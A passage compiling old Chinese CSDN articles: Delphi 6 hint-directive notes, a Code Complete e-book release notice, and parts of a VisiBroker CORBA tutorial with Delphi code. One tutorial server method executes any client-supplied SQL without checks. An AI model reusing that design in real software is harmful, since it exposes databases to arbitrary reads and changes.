procedure Test;platform;

begin

Beep;

end;

type

WinClass=class

x : integer;

end platform;

其中class声明中platform出现的位置似乎有点奇怪，没关系，知道就行了，反正我们一般不太会用得到它（但是真有需要的时候，你也得有所了解才行）。如果你一定要寻根究底的话，《Mastering Delphi 6》的作者对此有一个简要的解释：

The position of semicolons for hint directives can be quite confusing at first. The rule is that a hint directive must appear before the semicolon following the symbol it modifies. But a proce-dure, function, or unit header declaration can be followed only by reserved words, so its hint directive can appear following the semicolon. A type, variable, or constant declaration can be followed by another identifier, so the hint directive must come before the semicolon closing its declaration. Part of the rationale behind this is that the hint directives are not reserved words, so they can be used as the name of an identifier.

关于deprecated指示字

《Mastering Delphi 6》中关于deprecated的这一段说明似乎有点古怪，文字很浅显，可是我看了三遍也没有完全搞清楚到底是在说什么。先记录在这里，以后再看好了。

The deprecated directive works in a similar way to the platform directive;the only real differences are that it is used in a different context and produces a different compiler warning.The role of deprecated is to mark dentifiers that are still part of the system for compatibility reasons,but either are going to be removed in the future or expose you to risks of incompatibility.This symbol is used sparingly in the Delphi library.

Delphi 6中另外一个相当有用的关键字是$MESSAGE。你可以用它来提醒你程序中任何值得注意的地方，比如说下面的例子：

{$MESSAGE ‘这里尚未完成，记住下次要改完！’}

当然，用To-do List也可以完成类似的工作，而且To-do List在功能上更完善一些；不过，$MESSAGE比 To-do List优越的一个地方是，编译器每次编译程序的时候都会提醒你，所以不容易忘记；相对而言，不是每个程序员都会去经常察看To-do List。

$MESSAGE也类似于Visual C++中的#pragma message。不过，在Delphi 6的Message窗口双击该行信息，就能够跳到源文件中相应定义的地方，而这一点在Visual C++中却办不到。

后记：《Mastering Delphi 6》现在才看到第65页（总共1071页），也就是说，万里长征才走完第一步。这本书读到这个地方还是很好理解的（基本上不用动用金山词霸），但是后面的内容就要艰深一些了。应该老实承认我的英文水平还是很差，读原版书满辛苦的。想起蔡学镛老师说，他开始读外文资料的时候必须正襟危坐，手头必备电子辞典，读的多了，现在已经很随意地能够把外文资料当作小说来看，不论是坐着还是躺着，都不影响阅读。什么时候我才能达到这种境界呢？


CSDN_文档中心_《代码大全》电子版 1.01 发布了

代码大全eVersion1.01

是的，书的自然的、不可遏止的志愿是离心的。它写出来就是要发表、传播、推广、被人买、被人读。那赫赫有名的作家的象牙之塔实为一座发射塔。总是要从那里回到作者，如同回到作家之不可或缺的合作者一样。一本书不是只有一个作者，而是有无数的作者。因为在创造行为中，读过的人、正在读或将要读的人之总和有充分的权利加诸那个写的人身上。一本书写出但尚未被阅读，其存在是不完全的。它只拥有半个存在。那是一种潜在性、一个没有血肉的、空的、不幸的生命。它要活起来就要呼唤帮助。一个作家出版一本书的时候，他知道他是朝着一群无名无姓的男人和女人放出一大群纸鸟，一大群干瘪的、渴望着血的吸血蝠，它们散开来寻找读者，碰上谁是谁。一本书一旦冲向一个读者，就立刻因他的热、他的梦而膨胀起来。它绽开花朵，终于实现了自身……

---图尼埃 《飞翔的吸血蝠》

《代码大全》的英文版名称是 Code Complete: A Practical Handbook of Software Construction。它获得1993年美国软件开发杂志Jolt大奖，被美国包括MIT在内的十多所大学作为计算机软件学科的教材。本软件设计实用手册内容覆盖了开发过程中最重要部分的艺术性和科学性。其焦点在于成功的程序设计技术。

本电子版基于学苑出版社1993年出版的《代码大全》，由天奥翻译，当时英文版刚刚出版。

关于代码大全： 前言,内容摘要, 英文主页， CSDN上的代码大全介绍 ， Amazon.com上的代码大全介绍
关于作者： Steve McConnell 简介，主页http://www.construx.com/
 关于本书： 代码大全中文电子版的诞生来源于4个月来近100位网友出色的志愿工作 !
诞生日：2001-04-29 凌晨 Ver1.0 完成时间 2001--10-18日 晚

其中，有在内地的，有在沿海的，有在香港的，有在加拿大的；有朋友当日完成自己的任务，有朋友工作至凌晨，有朋友把书中的表格做得非常漂亮，有朋友提出修改部分术语译法的建议，有朋友一人完成几人的工作，有朋友持之以恒地挑出许多章节的缺陷，有朋友认为这是一项享受而不是一项工作，还有朋友遗憾自己未能参加这个工作.........总之，你现在所看到的这个电子版是来自天涯海角的近100位素不相识的朋友的热情和协作的成果。它属于每一位软件开发者，它属于所有的人。

讨论与建议： 代码大全论坛 本文同时也贴在CSDN上
看看Bug ： 代码大全缺陷报告列表
 新特性：
1、Ver1.0在测试版的基础上修改了500处以上的缺陷，主要是字词错误，格式错误；
2、Ver1.0把测试版的7个文件合并为一个文件；
3、Ver1.0添加了树形目录书签。
4、Ver1.01 修改了Ver1.0中的几个错误。感谢lmhcgylh,Flier Liu,yaana。

注意： 阅读需要Adobe Acrobat Reader 5中文简体版。 下载！
本次发布的是eVersion 1.01 版。以前下载测试版和1.0的网友请重新下载。

下载（pdf文档，Winzip压缩，4.26M）：
CodeComplete.zip 包括两个文件：CodeComplete.pdf 和 readme.txt

来源于作者Steve McConnell及其公司的一些文章和演讲幻灯片：

Steve McConnell: Classic Mistakes Enumerated :)

Construx Executive Breakfast: 10 Keys to Software Project Success (slides)
3/14/01

Construx Executive Breakfast: Successful Outsourcing (slides)
10/24/00

Construx Executive Breakfast: 10 Myths of Rapid Development (slides)
8/17/00

Steve McConnell's Software Development 2000 Keynote (slides)
3/24/00

Steve McConnell's SEPG 2000 Keynote (slides)
3/21/00

Steve McConnell's WSA Quality Assurance SIG Presentation (slides)
3/14/00

2002-03-09
www.delphidevelopers.com


CSDN_文档中心_《关于VisiBroker For Delphi的使用》(2)

《关于VisiBroker For Delphi的使用》

-CORBA技术实践（二）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

2,一个真实的CORBA小服务程序

我们都知道无论是Ejb,Com/Dcom/MTS/Com+,还是Midas/Corba这样一些三层体系，最重要的架构中介体系，对于理论上的东西，较为抽象没有必要在这里谈这样一些高深的理论，这些还是留给大师去述说吧，我们只需要理解大师们交给我们的工具就可以了，我们可以叫这些中介集群为中介对象群，实际上就是把我们在C/S中的公共部分或人机交互程序分为了，人与程序，程序与数据库之间的交互，这样做的目的大师们说的

非常好了。经过程序系统架构师的设计，我们可以清晰的看到我们的中介对象，也就是那些以不同形式放在，应用服务器上的对象。客户程序可以完全不去理会后台过多的执行明细，服务程序不用过多的被客户程序所牵制，一切都由Interface来发布所有的衔接规则。那么剩下来的问题就非常简单了，那就是有什么样的接口，接口可以独立于客户与服务器而独立编写，这就是我们的Corba for Delphi6中强调的东西。

在我们申明接口之前我首先简要的叙述一下IDL2PAS的一些相关保留字和操作符

AND ARRAY AS ASM

BEGIN CASE CLASS CONST

CONSTRUCTOR DESTORY DISPINTERFACE

DIV DO DOWNTO ELSE

END EXCEPT EXPORTS FILE

FINALIZATION FINALLY FOR FUNCTION

GOTO IF IMPLEMENTATION IN

INHERITED INITIALIZATION INLINE INTERFACE

IS LABEL LIBARAY MOD

NIL NOT OBJECT OF

OR PACKED PROCEDURE PROGRAM

PROPERTY RAISE RECORD REPEAT RESOURCESTRING

SET SHL SHR STRING THEN THREADVAR

TO TRY TYPE UNIT UNTIL USER VAR

WHILE WITH XOR

沿用的Pascal保留字

Boolean Char WideChar Shortint Smallint Integer Byte

Word Extended Pointer AnsiChar Longint Cardinal Single

Double Real Real48 Comp Currency ShortString Openstring file

Text TextFile PAnsiChar PChar PWideChar ByteBool Wordbool

LongBool AnsiString WideString TVarArrayBound PVarArray TVarData PVarData TVarArray PShortString PAnsiString PWideString PString Pextended

PCurrency TDateTime PVarRec String Variant TObject Tclass Iunknown

TinterfaceObject TGUID PGUID Int64 Application Screen Print Printer

（将与PASCAL做一个比较,注意大小写）

数据基本类型

IDL 类型 Pascal 类型

boolean Boolean

char Char

wchar WideChar

octet Byte

string AnsiString

wstring WideString

short SmallInt

unsigned short Word

long Integer

unsigned long Cardinal

long long Int64

unsigned long long Int64

float Single

double Double

long double Extended

fixed {没有对应类型}

以上的保留字和操作符会在我的文章中足一介绍，这里就不具体描述了。

我们开始编一个小程序来说明一下

照样先申明一个接口描述：

表示我要传递一个任意类型信息

module Crb{

interface TestAny{

any getany()；//注意大小写

}；

} ；

现在按照我们上一届讲的生成框架代码，接下来我们在Crb_impl中加入

Result := StrToInt(Form1.Edit1.Text);

加在那儿呢加在Getany方法中哪,如下

function TTestAny.GetAny : ANY;

begin

Result := StrToInt(Form1.Edit1.Text);

end;

这个接口的意义是将我们的服务程序的主窗体上的Edit1上的字符串返回给接口，以便于客户程序从接口获得该字符数据。

当然必须在我们的主窗体上作如下声明

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Corba,

CRB_I, CRB_C, CRB_S, CRB_Impl, StdCtrls;

type

TForm1 = class(TForm)

Label1: TLabel;

Edit1: TEdit;

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

MyAnyTest :TTestAny; // 主干对象

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

//加入CRB服务代码

MyAnyTest := TTestAnySkeleton.Create('Any Test Server', TMyTest.Create);

BOA.ObjIsReady(MyAnyTest as _Object);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

InitCorba;

end;

end.

接下来我们的客户程序如何获得这个字符串呢？

那么我们只需要在客户程序中去引用这个接口方法就够了，代码如下

unit ClientMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Corba, CRB_I, CRB_C;

type

TForm1 = class(TForm)

Button1: TButton;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private

{ Private declarations }

FromIStr :TTestAny;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);

begin

CorbaInitialize;

FromIStr:= TTestAnyHelper.bind;//创建一个接口的实例

end;

procedure TForm1.Button1Click(Sender: TObject);

var myAny : Any;

begin

myAny := FromIStr.GetAny();//引用接口实例的方法

Label1.Caption := IntToStr(myany);

//将方法的结果转化为字符串，付给Label1.Caption

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

FromIStr:= nil;

//释放接口实例对象

end;

end.

您理解上面的程序吗？下一小节我们将继续讲解如何传递一个数组对象，错误之处还请来函指正哟！下次再见


CSDN_文档中心_《关于VisiBroker For Delphi的使用》(3)

《关于VisiBroker For Delphi的使用》(3)

-CORBA技术实践（一）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

3,数组对象与简单数据对象的传递

前面提到了一些较为简单的数据操作，我们都可以想象一下，如果操作CORBA对象与操作C/S结构的数据对象一样的方便，那么CORBA又有什么神奇了，不知道看过李维的分布式多层应用系统的书籍时，是否留意到李维对CORBA的评价，无论你看过

还是没有看过，我都要告诉正在使用CORBA编程的朋友们，CORBA比COM/COM+简单，而CORBA的跨平台特性，以及与COM/COM+同样的负载平衡能力，足以让我们将这项分布式技术应用到应用体系的设计之中，其实对于使用Borland的产品开发分布式系统无论你采用CORBA或是COM/COM+其实最核心的技术就是MIDAS，因为

你总可以在CORBA/COM/COM+中看到MIDAS的影子，所以我建议无论你是准备学习CORBA还是学习COM/COM+最好先学习一下MIDAS,本文不涉及MIDAS，关于MIDAS请看李维的《Delphi5.X分布式多层应用—系统篇》。

为什么我从开始就一直要大家使用文本编辑器之类的东西书写IDL，而不用TypeLibrary

来书写IDL,其实我觉得只是为了让刚刚接触CORBA的程序员获得一些更多的IDL方面的知识罢了，在实际的开发中你可以完全很方便的使用TypeLibrary来编写接口规则。

下面我简要的列举几类IDL书写的事例与利用IDL2PAS生成的PASCAL代码。

1、）常量的定义

/**IDL书写**/

module MyCRB{

const long iMyConst=1;

interface myFace {

const long iiMyConst=2;

};

};

/**Pascal**/

unit MyCRB_I;

interface

uses Corba;

const

iMyCOnst:integer=1;

myFace_iiMyConst=2;

2、)不在接口中申明的常量

/**IDL**/

module MyCRB{

const long myconst=1;

};

/*pascal*/

unit MyCRB_I;

interface

const myconst:integer=1;

3、)枚举类型

/*IDL*/

enum MyCRBKind{A,B,C,D,……..}

/*pascal*/

myCRBkind=(A,B,C,D……..);

4、）结构体

/*IDL*/

struct mystructtype{

long X;

string Y;

boolean Z;

};

/*pascal*/

//XXX_I.pas

type mystructtype=interface;

//XXX_C.pas

mystructtype=interface

function _get_X:integer;

function _get_Y:string;

function _get_Z:boolean;

procedure _set_X(const Value:integer);

procedure _set_Y(const Value:string);

procedure _set_Z(const Value:boolean);

property X:integer read _get_X write _Set_X;

property Y:string read _get_Y write _Set_Y;

property Z:boolean read _get_Z write _Set_Z;

…….

还有太多的代码，自己创建一个看一下，为了节约篇幅我就不做详细的翻译了

下面请大家试一下以下的申明会生成什么样的Pascal代码

5、）联合体

union un_exp switch(long)

{

case 1:long x;

case 2:string y;

case 3:st_exp Z;

};

6、sequence(我理解为动态数组)

typedef sequence <long> UnboundeSeq;

typedef sequence <long,42> ShortBoundSeq

7, 数组

const long ArrayBound=10;

typedef long longArray[ArrayBound];

8, 抽象接口

module exp{

interface myface{

long op(in string s);

};

};

9,多重继承

module M{

interface A{

void A1();

void A2();

};

interface B{

void B1();

void B2();

};

interface AB:B,A{

void AB1()

void AB2();

};

};

10,交叉模型定义

module m1{

interface if1;

module m2{

interface if2{

m1::if1 getIf1();

};

interface if1{

m2::if2 getif2()

};

};

};

以上我介绍了一些数据的定义规范,然而我们需要不仅仅是这样的一些比较抽象的接口定义法则,我们要将法则应用到实际的开发中去,那么我们又是如何运用这些法则了,对于接口描述语言的翻译我前面讲到直接使用IDL2PAS就不讲了,以后的章节中也不会在去将如何转换的问题。下面我们实践一下：

编写接口定义一个返回为浮点类型，输入为短整型变量数组对象的方法

typedef short ArrayType[3];

//自定义类型定义长度为3的数组

interface Account {

float InputArray(in ArrayType myArray);//输入为整形数组，返回类型为float的方法

};

//服务端程序的处理xxx_impl.pas

interface

uses

SysUtils,

CORBA,

account_i,

account_c;

type

TAccount = class;

TAccount = class(TInterfacedObject, account_i.Account)

protected

//******************

public

constructor Create;

function InputArray ( const myArray : account_i.ArrayType): Single;

end;

implementation

uses ServerMain;

constructor TAccount.Create;

begin

inherited;

end;

function TAccount. InputArray (const myArray : account_i.ArrayType): Single;

var

j: Integer;

begin

// account_i.ArrayType是指我们自定义的数组类型在account_I单元中

for j := 0 to 2 do

begin

Form1.Memo1.Lines.Add('myArray[' + IntToStr(j) + '] = ' + IntToStr(myArray[j]) );

//接受从客户端传递过来的数组变量并将其依次加入到主窗体的MEMO中

end;

result := random * 100;//返回一个随机数

end;

initialization

randomize;

end.

//服务端程序主单元

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Corba,

Account_I, Account_C, Account_S, Account_Impl, StdCtrls;

type

TForm1 = class(TForm)

Memo1: TMemo;

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

{ protected declarations }

Acct : Account; // skeleton 对象

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

// Add CORBA server Code Here

Acct := TAccountSkeleton.Create('Array Server', TAccount.Create);

BOA.ObjIsReady(Acct as _Object);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

InitCorba;

Memo1.Lines.Add('Account object created...');

Memo1.Lines.Add('Server is ready');

end;

end.

//客户端程序

unit ClientMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Corba, StdCtrls, Account_I, Account_C;

type

TForm1 = class(TForm)

Button1: TButton;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ private declarations }

protected

{ protected declarations }

Acct : Account;

myArray : ArrayType;

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

Acct := TAccountHelper.bind;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

j: Integer;

begin

InitCorba;

for j := 0 to 2 do

myArray[j] := (j + 1) * 100;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Label1.Caption := FormatFloat('InputArray = $#,##0.00', Acct.inputArray(myArray));

end;

end.

上面的程序实例很简单我就不一一说明了，下面我们来看一个数据访问的实例

//IDL

interface Employee {

any getEmployeesByName(in string name);

};

接口方法声明单元

//XXX_Impl.pas

interface

uses

SysUtils,

CORBA,

employee_i,

employee_c;

type

TEmployee = class;

TEmployee = class(TInterfacedObject, employee_i.Employee)

public

constructor Create;

function getEmployeesByName ( const name : AnsiString): ANY;

end;

implementation

uses dmEmployee,DMPooler, provider,DSIntf,ServerMain;

constructor TEmployee.Create;

begin

inherited;

end;

function TEmployee.getEmployeesByName ( const name : AnsiString): ANY;

var

DM: TdmEmploy;

RecsOut: Integer;

Options: TGetRecordOptions;

begin

Options := [grMetaData,grReset]; //must specify meta data

DM := ModulePooler.GetModule as TdmEmploy; //Get instance of datamodule from Pool

try

DM.qryEmployee.Close;

DM.qryEmployee.ParamByName('name').AsString:= name + '%';

//显示连接服务器的数量

Inc(Form1.HitCount);

Form1.Label1.Caption := Format('Hit Count = %d', [Form1.HitCount]);

DM.qryEmployee.Open;

Result:=DM.proEmployee.GetRecords(-1, RecsOut, Byte(Options));

DM.qryEmployee.Close;

finally

ModulePooler.FreeModule(DM);//Return instance of DataModule to pool

end;

end;

initialization

//将TdmEmploy对象放入共享池中

ModulePooler.ModuleClass := TdmEmploy;

end.

//共享池的声明单元

主要描述如何提供一个多客户的访问数据提供

unit DMPooler;

interface

uses SysUtils, Classes, Forms, SyncObjs, Windows;

type

//本单元用于为每个客户提供一个独立使用的DataModule对象，相当于我们在以前的CORBA DataModule中选择创建的多线程对象一样的功能

TDataModuleClass = class of TDataModule; //定义类

TPooledModule = record//声明记录类型

Module: TDataModule; //继承标准的TdataModule

InUse: Boolean; //标明上面继承的TdataModule是否在使用

end;

TModulePooler = class

private

FCSect: TCriticalSection; //允许线程自己改变FModules

FModuleClass: TDataModuleClass; //在共享池中类化TDataModule

FModules: array of TPooledModule; //定义一个动态的对象记录数组

FSemaphore: THandle; //限定同时使用的用户规则

public

property ModuleClass: TDataModuleClass read FModuleClass write FModuleClass;

constructor Create;

destructor Destroy; override;

function GetModule: TDataModule;

procedure FreeModule(DataModule: TDataModule);

end;

const

PoolSize = 5;

var

ModulePooler: TModulePooler = nil;

implementation

uses Dialogs;

{ TModulePool }

constructor TModulePooler.Create;

begin

IsMultiThread := True;

FCSect := TCriticalSection.Create;

FSemaphore := CreateSemaphore(nil, PoolSize, PoolSize, nil);

end;

destructor TModulePooler.Destroy;

begin

FCSect.Free;

CloseHandle(FSemaphore);

end;

procedure TModulePooler.FreeModule(DataModule: TDataModule);

var

I: Integer;

begin

FCSect.Enter;

try

for I := 0 to Length(FModules) - 1 do

if FModules[I].Module = DataModule then

FModules[I].InUse := False;

ReleaseSemaphore(FSemaphore, 1, nil);

finally

FCSect.Leave;

end;

end;

function TModulePooler.GetModule: TDataModule;

var

I: Integer;

begin

Result := nil;

if WaitForSingleObject(FSemaphore, 5000) = WAIT_TIMEOUT then

raise Exception.Create('Server too busy');

FCSect.Enter;

try

if Length(FModules) = 0 then

begin

SetLength(FModules, PoolSize);

for I := 0 to PoolSize - 1 do

begin

FModules[I].InUse := False;

FModules[I].Module := FModuleClass.Create(Application);

end;

end;

for I := 0 to Length(FModules) - 1 do

if not FModules[I].InUse then

begin

FModules[I].InUse := True;

Result := FModules[I].Module;

Break;

end;

finally

FCSect.Leave;

end;

//检查曾经是否连接

if not Assigned(Result) then

raise Exception.Create('Pool is out of capacity');

end;

initialization

ModulePooler := TModulePooler.Create;

finalization

ModulePooler.Free;

end.

//本单元是一个通用的方法单元，当然您也可以采用其他的方法来完成这样的一个功能

//DataModule单元

unit dmEmployee;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Db, DBTables, Provider;

type

TdmEmploy = class(TDataModule)

Session1: TSession;

EmployeeDatabase: TDatabase;

qryEmployee: TQuery;

proEmployee: TDataSetProvider;

private

{ Private declarations }

public

{ Public declarations }

end;

var

dmEmploy: TdmEmploy;

implementation

{$R *.DFM}

end.

//服务器的主单元

unit ServerMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Grids, DBGrids, Db, DBTables, StdCtrls, Corba, Employee_I, Employee_C,

Employee_S, Employee_Impl；

type

TForm1 = class(TForm)

Label1: TLabel;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

procedure CorbaInit;

public

{ Public declarations }

hitcount : integer;

end;

var

Form1: TForm1;

myDBServer : Employee;

implementation

{$R *.DFM}

procedure TForm1.CorbaInit;

begin

CorbaInitialize;

myDBServer := TEmployeeSkeleton.Create('myServer', TEmployee.Create);

Boa.ObjIsReady( myDBServer as _Object );

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

CorbaInit;

end;

end.

//客户端程序

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, Grids, Corba, Employee_i, Employee_c, Db, DBClient, ExtCtrls,

DBCtrls, DBGrids;

type

TForm1 = class(TForm)

Button1: TButton;

DBGrid1: TDBGrid;

cdsEmployee: TClientDataSet;

DataSource1: TDataSource;

edtEmployeeName: TEdit;

Memo1: TMemo;

Label1: TLabel;

procedure FormCreate(Sender: TObject);

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

myEmployee : Employee;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

myEmployee := TEmployeeHelper.bind;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

cdsEmployee.Data := myEmployee.getEmployeesByName(edtEmployeeName.Text);

cdsEmployee.Open;

end;

end.

我想大家应该可以看得懂上面的程序，如果看不懂也不要紧，下一次我将围绕这个实例展开一系列的问题描述并会同时于COM+/MIDAS进行比较说明，为了让大家留下一个思维的空间我在这里就不多说了。还是那一句话下次再见

我的哲学：“无论是CORBA还是COM+异或是EJB等等最终都是殊途同归”


CSDN_文档中心_《关于VisiBroker For Delphi的使用》(4)

《关于VisiBroker For Delphi的使用》

-CORBA技术实践（一）

宜昌市中心人民医院 赵普昉

email: 3boy@sohu.com

4、实例设计与分析

上一次我想大家介绍了一个在CORBA中使用Pooler的小程序，这段代码中使用了较为高级的编写方法，在分析这个实例之前，我想和大家谈一点设计工具的应用，当然我会在本文的后续文章中深入探讨关于这些辅助手段的应用，在这里我只想简要的描述一下，为正真的工程项目中实现CORBA技术做好相应的知识储备。

前面我介绍了接口描述语言(IDL)的一些较为基础语言要素，如果只是在Delphi中开发实际的基于VisiBroker 的ORB多层应用体系的基本应用可以大胆的说已经够用了（如果有人反对我不介意），CORBA是一一个不断补充发展的标准，而且每种ORB产品又会对CORBA进行自己的描述，所以前面的一些IDL只是有一部分和OMG的定义有一定的区别，但是这不会影响到我们理解CORBA，当然必须说明的是前面的IDL描述都是完全符合VisiBroker的规范的。在C/S模式的程序设计之中，我们中绝大部分人是不会去考虑接口设计的，偶尔的出现也不会是采用我们开发多层系统这样的模式，所以刚刚接触多层系统的程序员要付出比C/S模式下设计大的多地精力来设计它，而且会拖延开发的周期，我一直在思考一个问题能不能避免这样的事情呢？或者说去谋求一个好的方法来改进我们的设计呢？在我看来拖延工期的问题主要表现在我们对于接口的确定上，接口的不确定因素体现在增加接口，修改接口，废止接口等等诸多问题上，设计接口我觉的类似与我们在设计ER图中的实体间的关系一样，如何平衡【服务――－中介―――客户】三者之间的关系是多层的首要问题，也是使得我们反复的罪魁祸首，在这里我想向大家推荐强大的Rational家族系列产品（Rose,SODA,ClearCase…..）我们可以使用这样的一些辅助工具来缩短我们的反复频率，在问题的分解中明确接口的设计方向与设计原则，对于拥有微软企业版开发套间的朋友可以利用Virtual Moduler工具来设计（这个工具是微软捆绑的ROSE产品，是一个标准的多层体系）在这里我不对如何使用他们来设计CORBA的接口进行描述，原因只有一个这是一个高级课题不属于<VisiBroker for Delphi>的范畴之中，我会在《面向CORBA的设计实践》中与大家共同探讨。

好了闲话就聊到这里，下面开始正体。

记得我在本文的第一小节中提到过CORBA DataMoudel Object，如果使用过这个对象的朋友一定清楚的了解单线程模式与多线程模式，也就是CORBA 3.3为大家提供了两种来至于TDataMoudel对象，进行的整体的封装，然而现在的CRB4.0为程序员提供了更大的灵活性

让我们自己来编写这样的两种不同的对象，显然后者可以让我们更广泛的扩展应用面，上次的例程就是一个多线程模式的例子，在讲解多线程模式之前我想还是让我们来看一下单线层模式的实例：

/*IDL*/

module TypeLibCRB

{

interface InterfaceCRB;

interface InterfaceCRB

{

any GetSQLData(in wstring Script, in boolean ExecutOrActive);

};

//定义一个发送客户执行的SQL，返回一个any类型

};

//XXX_Impl.pas

interface

uses

SysUtils,

CORBA,

TypeLibCRB_i,

TypeLibCRB_c

;

type

TInterfaceCRB = class;

TInterfaceCRB = class(TInterfacedObject, TypeLibCRB_i.InterfaceCRB)

protected

public

constructor Create;

function GetSQLData ( const Script : WideString;

const ExecutOrActive : Boolean): Any;

end;

implementation

uses UmCRBServer, UnCRBServer;

constructor TInterfaceCRB.Create;

begin

inherited;

end;

function TInterfaceCRB.GetSQLData ( const Script : WideString;

const ExecutOrActive : Boolean): Any;

begin

Form1.Memo1.Lines.Text:=Script;

Result:=DataMCRB.GetData(Script,ExecutOrActive);

//调用TDataMoudel实例的方法请注意这个地方只有一个TDataMoudel实例

//下面的程序中会描述这个实例的方法定义

end;

initialization

end.

/********************/

/*动态创建数据实例的操作*/

unit UmCRBServer;

interface

uses

SysUtils, Classes, DB, DBTables,Provider;

type

TDataMCRB = class(TDataModule)

DatabCRB: TDatabase;

QueryCRB: TQuery;

DataSetPCRB: TDataSetProvider;

private

{ Private declarations }

public

function GetData(Script:String;ExecuteOrActicve:boolean):OleVariant; { Public declarations }

end;

var

DataMCRB: TDataMCRB;

function RunSQL(QueryX:TQuery;Script:String;ExecuteOrActive:boolean):boolean;

implementation

//这个代码中没有使用Session,也没有对事务进行控制，下一章节会给出一个使用Session的//例程，想一想这个方法的应用会有什么有点和缺点,如果愿意谈一谈請将您的想法发往我得//信箱

{$R *.dfm}

function RunSQL(QueryX:TQuery;Script:String;ExecuteOrActive:boolean):boolean;

begin

Result:=false;

with QueryX do

begin

if Active then Active:=false;

SQL.Clear;

SQL.Text:=Script;

if ExecuteOrActive then

ExecSQL else

Active:=true;

if not IsEmpty then

Result:=true;

end;

end;

//这段代码我不讲解

{ TDataMCRB }

function TDataMCRB.GetData(Script: String;

ExecuteOrActicve: boolean):OleVariant;

var

MyQry:TQuery;

MyPrv:TDataSetProvider;

begin

try

MyQry:=TQuery.Create(self);

MyPrv:=TDataSetProvider.Create(self);

MyQry.DatabaseName:=DatabCRB.DatabaseName;

//注意如果使用TDataBase对象請将ShareHandle设为True;

MyPrv.DataSet:=MyQry;

if RunSQL(MyQry,Script,ExecuteOrActicve) then

Result:=MyPrv.DATA;

finally

MyQry.Free;

MyQry:=nil;

MyPrv.Free;

MyPrv:=nil;

end;

end;

//动态创建数据集和数据提供者对象，在调用接口将数据返回给Client后释放动态创建的两//对象。这样可以避免在单线模式下客户端持久的拥有接口后的对象。

end.

/*****************************************/

/初始化CORBA实例,主单元

unit UnCRBServer;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Corba, TypeLibCRB_c, TypeLibCRB_i, TypeLibCRB_impl, TypeLibCRB_s,

StdCtrls;

type

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

{ protected declarations }

MyCRB:InterfaceCRB;

procedure InitCorba;

public

{ public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.InitCorba;

begin

CorbaInitialize;

MyCRB:=TInterfaceCRBSkeleton.Create('MyCRBServer',TInterfaceCRB.Create);

BOA.ObjIsReady(MyCRB as _Object);//CORBA服务就绪

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

InitCorba;//初始化调入

end;

end.

/******************************************************/

/客户端程序

nit UnClientMain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

Corba, TypeLibCRB_c, TypeLibCRB_i, Grids, DBGrids, DB, DBClient, StdCtrls;

type

TForm2 = class(TForm)

Edit1: TEdit;

Button1: TButton;

ClientDataSet1: TClientDataSet;

DataSource1: TDataSource;

DBGrid1: TDBGrid;

procedure Button1Click(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

{ private declarations }

protected

/ myCRB:InterfaceCRB;

{ protected declarations }

public

{ public declarations }

end;

var

Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.Button1Click(Sender: TObject);

begin

ClientDataSet1.Data:=myCRB.GetSQLData(Edit1.Text,false);

end;

procedure TForm2.FormCreate(Sender: TObject);

begin

myCRB:=TInterfaceCRBHelper.Bind('MyCRBServer','127.0.0.1');

end;

end.

上面的程序让你无法使用ApplyUpdate方法来从客户端更新数据，如果要更新数据必须通过GetSQLData(SQL,True)来更新数据，相对来说客户端将不能使用数据感知类组件来编写插入删除，修改类程序，因为你的中间层的数据集与数据提供者不具有持久性，这就是下面代码使用DMPooler的精妙之处。

//

TDataModuleClass = class of TDataModule; // "class" reference

